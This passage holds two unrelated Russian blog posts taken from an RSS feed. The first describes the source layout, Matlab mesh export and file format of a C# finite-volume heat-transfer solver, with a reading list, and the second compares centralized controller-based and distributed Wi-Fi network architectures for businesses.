            }

        }




Примеры и проверка результатов


Проверка проводилась сравнением результатов в Матлаб и моей реализации. Mesh использовалась одинаковая, выгружалась из Матлаб и загружалась в прогу.На некоторые артефакты-треугольники не обращайте внимания, это просто непонятный глюк отрисовки.

Описание структуры исходников


Гитхаб с исходниками лежит тут
Основная версия в папке heat2PolyV2.То что относится к вычислительной части лежит в heat2PolyV2\Src\FiniteVolume\.

Вначале файла Scene2.cs — параметры которые можно менять для отображения в разных цветовых схемах, масштаб, отображение mesh и т.д.Сами примеры хранятся в heat2PolyV2\bin\Debug\Demos\
Выгрузку из Матлаба сделать просто — нужно открыть pde toolbox, открыть m файл (либо создать самому с нуля), зайти в меню Mesh-Экспорт mesh, нажать ОК; перейти в основной Матлаб, в панельке появятся переменные — матрицы p e t, открыть файл savemymesh.m, выполнить его, появится файл p.out, перенести его в папку Demos.
В исходниках для выбора примера необходимо задать имя файла в строке param.file = «p»;(FormParam.cs).Далее необходимо применить граничные условия — для готовых примеров можно просто раскомментировать соответствующие блоки в MainSolver.cs:

  //p.out
  public void SetPeriodicBoundary()


Смысл тут простой — Матлаб разделяет границы по доменам, например внешние и внутренние.Также для каждого домена границы разбиты на части (группы), чтобы можно было задавать условия на участках границы по отдельности — например справа или снизу.
Возможно и вовсе не использовать Матлаб, а вручную прописать все элементы(треугольники) и их вершины + грани(только для граничных элементов)
Описание структуры файла .out

Файл разбит на секции — ##Points (вершины),##Triangle(треугольники) и ##Boundary(грани — только те которые на границе)
##Points — координаты точек, первая строка — х, вторая -y.
##Triangle — треугольники, первая строка — индекс 1-ой вершины в массиве ##Points,2 и 3 строки — индексы 2 и 3 вершины треуольника.
##Boundary — грани, первая строка — индекс 1-ой вершины грани ,2-я — индекс второй вершины, пятая строка — группа, шестая — домен

Описание папок с исходниками
Исходники написаны на Visual Studio 2010 c#.Использовался Матлаб R2012a.
Гитхаб с исходниками
  • heat2PolyV2 — финальная версия
  • other\heat2Utrianglestatic — реализован пример из книги p346 versteeg_h malalasekra_w_ An_introduction_to_computational_fluid…
  • other\water2dV2 — попытка решения уравнений Навье-Стокса частично используя FiniteVolume
  • matlab — m файлы примеров pde toolbox + savemymesh.m который выгружает готовый .out файл для heat2PolyV2

Список книг по теме
  • Versteeg HK Malalasek Introduction to computational fluid dynamics The finite volume method — уже есть второе издание
  • F.Moukalled L.Mangani M.Darwish The finite volume method in computational fluid dynamics 2016г — вышла недавно (чуть ли не вчера:)
  • Патанкар С.-Численные методы решения задач теплообмена и динамики жидкости-Энергоатомиздат (1984)
  • Патанкар С.В.-Численное решение задач теплопроводности и конвективного теплообмена при течении в каналах-МЭИ (2003)
  • Computational methods for fluid dynamics Ferziger JH Peric 2001 — хоть напрямую и не относится к FVM, но оч много полезного

This entry passed through the Full-Text RSS service - if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.

Архитектура WLAN: что выбрать?

Корпоративная сеть – это критически важная магистраль, которая связывает все элементы бизнеса, помогает привлекать и обслуживать клиентов. Важнейшая часть современной корпоративной сети – это качественная беспроводная инфраструктура, которая позволяет организациям работать с данными в режиме реального времени.

По данным Forrester Consulting, в США почти 60% транспортных компаний, 54% розничных организаций и 49% гостиничных сетей планируют расширить или модернизировать свои сети WiFi. Организации планируют добавить новые беспроводные сервисы, в том числе видеоконференцсвязь и потоковое видео, а также специфические для конкретного бизнеса приложения и службы.
46% компаний в отраслях розничной торговли, гостиничного бизнеса, транспорта и логистики планируют обновить свою беспроводную инфраструктуру, чтобы улучшить покрытие. Более половины опрошенных Forrester Consulting организаций недавно модернизировали сетевую инфраструктуру для подготовки к работе с новыми устройствами и решениями. 41% компаний, в которых планируется модернизация, фиксируют высокую нагрузку на беспроводные сети в связи с ростом корпоративных устройств.

Как сообщает  Forrester Consulting, во Франции 70% компаний уже расширяют или обновляют свои беспроводные локальные сети (WLAN). В США доля этих компаний достигает 58%, а в Великобритании, Италии и Германии – 50%. Россия не остается в стороне от тенденций.

Производители оборудования WLAN выпускают решения на любой вкус. Перед заказчиками стоит непростая задача выбора архитектуры WLAN. Она требует некоторого понимания сути сетевой архитектуры и её особенностей.

Топологии WLAN


В зависимости от требований, в сетях WiFi обычно используется централизованная или распределенная архитектура. Выбор топологии и оборудования для построения беспроводной сети зависит от физических условий, требований бизнеса, технических рекомендаций и бюджета.

В случае централизованной беспроводной сети ее ядром будет контроллер WLAN. Именно он управляет трафиком беспроводных точек доступа, отвечает за аутентификацию пользователей и соблюдение политик безопасности. В распределенной архитектуре точки доступа сами координируют и применяют политики, обеспечивают мобильность пользователей (роуминг) – их перемещение между точками доступа (AP). Однако для такой архитектуры характерны проблемы масштабируемости и управляемости, поэтому в крупных сетях обычно применяются контроллеры WLAN, которые берут на себя ключевые функции.

В то же время, совершенствование микропроцессоров позволило наделять точки доступа большим «интеллектом», что открыло более широкие возможности применения распределенных систем WLAN. Современные AP позволяют распределять управление и задачи обмена данными между точками доступа без использования контроллера. Эта архитектура хорошо подходит для небольших сетей WLAN. Рассмотрим подробнее преимущества и недостатки обоих подходов.

Централизованная или распределенная?


В больших кампусных сетях часто применяется централизованная архитектура с контроллером. Её ключевые особенности:
  • Централизованное конфигурирование VLAN, настройка QoS и политик безопасности
  • Мобильность пользователей на уровне Layer 3
  • Возможность централизованного шифрования
  • Эффективное управление широковещательным трафиком (broadcast и multicast)
  • Масштабирование и оркестрация мобильных сервисов
  • Возможности будущего роста.

В случае реализации централизованной архитектуры WLAN, контроллеры размещаются на уровне распределения. Здесь может терминироваться трафик AP, выполняться аутентификация пользователей и применение политик.

Такая архитектура позволяет централизованно вносить изменения в конфигурацию, не требуя сложных настроек на уровне каждой AP. За создание пользовательских VLAN и управление ими отвечает только контроллер. DHCP, NAT и RADIUS при обслуживании пользователей беспроводной сети также привязываются к контроллеру, независимо от того, через какую AP подключается пользователь. Применение политик безопасности и QoS – тоже функции контроллера.

Пользователи, приложения и мобильность – все это обслуживается в одном месте, что упрощает архитектуру проводной сети, хорошо масштабируется и облегчает диагностику. Контроллер WLAN – это не просто точка терминирования трафика AP, а мозг беспроводной сети, упрощающий внедрение новых сервисов.


Возникает законный вопрос, не является ли контроллер потенциальной точкой отказа WLAN, не снижается ли надежность сети в случае централизованной архитектуры? Ответ прост – при правильном подходе к проектированию, в архитектуру корпоративной сети обязательно закладывается резервирование. И контроллер WLAN в этом смысле не исключение. Производители оборудования предусматривают алгоритмы резервирования, поддержку кластерных конфигураций.

Возникает еще один вопрос, насколько просты контроллеры в развертывании, легко ли с ними работать? Контроллеры ключевых производителей WiFi-решений не только поддерживают традиционные функции WLAN, но содержат еще и встроенный межсетевой экран, концентратор VPN, коммутатор Layer 2 и Layer 3, функции управления сетью и функции WAN. Ввиду многофункциональности, решение это не простое. Однако вендоры оборудования WLAN стараются упростить развертывание с помощью утилит и понятного пошагового процесса.

Своими преимуществами обладает и распределенная архитектура:

  • Она проста в развертывании
  • Имеет низкую стоимость, в сравнении с централизованной архитектурой
  • Требует минимального контроля со стороны ИТ-специалистов
  • Допускает миграцию на архитектуру с контроллером

Основные компоненты распределенной архитектуры – точки доступа. Аутентификация пользователей и применение политик происходит на AP. В отличие от сети с контроллерами (по сути, оверлейной) проводную сеть в этом случае придется менять под требования WLAN. Однако данный подход имеет свои преимущества. Прежде всего, это простота развертывания. Интеллект «плоскости управления» распределен по точкам доступа. Их программное обеспечение и распределенные функции позволяют обойтись без центрального устройства. При этом, управлять такой сетью и настраивать её конфигурацию все равно можно централизованно. Данная архитектура – привлекательный вариант для небольших компусов и компаний с распределенной (филиальной) структурой.

Ключевые функции, такие как оптимизация радиочастотного спектра, ролевое управление доступом, QoS, распределены между AP. Такая модель повышает надежность, снижается вероятность отказа из-за выхода из строя одного компонента. В большинстве случаев можно выбрать главную AP (мастер) – она будет работать как виртуальный контроллер с центральной консолью для конфигурирования, мониторинга и обновления ПО. А встроенный в AP межсетевой экран позволяет задавать правила доступа в сеть и настройки для различных приложений.

Такая сеть легко расширяется подключением дополнительных точек доступа: AP автоматически конфигурируется и начинает работать. AP можно включать в одну подсеть или в разные подсети, в зависимости от сетевых сервисов.

Стоит такая сеть дешевле, чем сеть с контроллерами. Отсутствие дополнительных функций и сервисов контроллера означает, что не придется покупать соответствующие программные лицензии.

Сейчас производители прилагают максимум усилий, чтобы сервисы в бесконтроллерной архитектуре можно был легко развертывать и управлять ими без помощи специалистов по сетям. Кроме того, некоторые производители предлагают встроенные средства миграции на архитектуру с контроллером. Для этого точки доступа наделяются функцией распознавания контроллера. Такими возможностями обладают, например, точки доступа Aruba, a Hewlett Packard Enterprise company.

Выбор архитектуры


При построении WLAN предпочтение в целом отдается той архитектуре, которая будет более надежной и эффективной. Для крупных и средних кампусных сетей с тысячами пользователей очевидны преимущества централизованной архитектуры с контроллерами в отдельных автономных инсталляциях, в удаленных офисах применение контроллера может оказаться технически или экономически невыгодным, хотя будет рациональным выбором, если в компании с филиальной структурой создается сеть с единообразной архитектурой, или на удаленном объекте необходимы дополнительные функции, выходящие за рамки просто беспроводного доступа.

Для средних и крупных сетей конфигурирование каждого отдельного устройства – не подходящий вариант. Оно должно быть централизованным. В случае использования сотрудниками собственных мобильных устройств (BYOD) требования к WLAN усложняются – права пользователям предоставляются с учетом многих факторов, таких, как тип устройства, местоположение, время. Авторизация и аутентификация выполняются на соответствующих серверах.

Таким образом, с ростом сложности и увеличением масштаба сети, централизация функций оказывается логичным решением. При большом числе пользователей важно планирование WLAN. Архитектура беспроводной сети должна быть такой, чтобы можно было динамически оптимизировать производительность WiFi с учетом роуминга и изменения условий. Кроме того, при перемещении пользователей между точками доступа должны сохраняться применяемые к ним политики безопасности. В крупных кампусных сетях с сотнями активных пользователей мобильность играет ключевую роль.

Кроме того, учитывая развертывание облачных сред, VDI (Virtual Desktop Infrastructure) и потоковое видео, сетевая инфраструктура должна поддерживать управление полосой пропускания на уровне приложений. Это же касается унифицированных коммуникаций (UC). Сеть доступа должна не только идентифицировать такие коммуникационные приложения, но и обеспечивать качество сервиса – QoS.

Если говорить о будущем, то нельзя не вспомнить о стандарте 802.11ac. Можно ли перевести сеть с контроллерами на этот стандарт, заменив лишь точки доступа? Теоретически, да. Оборудование контроллеров рассчитано на высокую пропускную способность. Реальная скорость передачи данных далека от пиковой, и даже пиковая скорость зависит от многих факторов.

Таким образом, обычно распределенную архитектуру  выбирают в сетях с небольшим количеством пользователей в одном здании. Такую архитектуру часто используют и компании с ограниченными ИТ-ресурсами, «бесконтроллерная» сеть – хороший вариант, например, для удаленного офиса. Однако, когда сеть достигает определенного размера, то базовых сервисов (надежный и безопасный беспроводной доступ) перестает хватать и основным фактором выбора архитектуры WLAN становятся поддерживаемый решением функционал. Появляется необходимость в доступе к облачным сервисам, WAN-оптимизации, поддержке нескольких аплинков, маршрутизации по заданным правилам и унифицированной защите. Для таких сервисов обычно используется централизованная архитектура с контроллером.

По каким же критериям следует в итоге следует выбирать правильное решение? Чтобы понять критерии, стоит разделить кампусные сети по категориям.

  1. Крупные сети, охватывающие комплексы зданий на одной или нескольких площадках с сотнями или тысячами AP. Типичные примеры – университеты, высокотехнологичные компании, крупные предприятия, учреждения здравоохранения.
  2. Средние сети с несколькими сотнями AP на одной площадке
  3. Одно здание с несколькими десятками AP

В первом случае, обычно развертывают сети с контроллерами. Так проще управлять крупной сетевой инфраструктурой, применять единые политики безопасности и QoS, организовать роуминг. Этот вариант часто выбирают и при построении сетей среднего масштаба, когда нужно обеспечить мобильность сервисов и соблюдение политик безопасности.

Когда единый домен RF отсутствует, то, как правило, развертывают сеть без контроллеров. Если возникнет такая потребность, его можно добавить позднее. Данный вариант предпочитают в кампусах с несколькими сотнями пользователей, в отдельных зданиях. Ну, а с точки зрения будущего развития, конечно, стоит присмотреться к вариантам построения сетей на базе контроллеров.

При выборе конфигурации сети в компании с филиальной структурой учитывают также следующее:

  1. Масштабы сети, число пользователей и устройств. В крупных сетях предпочтительнее контроллеры.
  2. Тип филиала – требуется развернуть сеть «с нуля», или сетевая инфраструктура уже имеется. В первом случае удобнее выбрать коробочное решение: если достаточно базовых сервисов, можно обойтись без контроллеров.
  3. Требования к сервисам. Это один из ключевых факторов. Кроме надежного и безопасного беспроводного доступа могут потребоваться, например, сервисы оптимизации WAN, фильтрации контента и применения политик безопасности. Такие функции обычно реализует контроллер.
  4. На выбор влияет и архитектура существующей кампусной сети. Лучше придерживаться архитектурного единообразия.
  5. Централизованное управление позволит администратору сети управлять сетями филиалов и диагностировать неисправности из центрального офиса. Архитектура с контроллерами позволит унифицировать политики безопасности в проводной и беспроводной сети, упростит диагностику и устранение неисправностей.  

Продолжение следует!

This entry passed through the Full-Text RSS service - if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.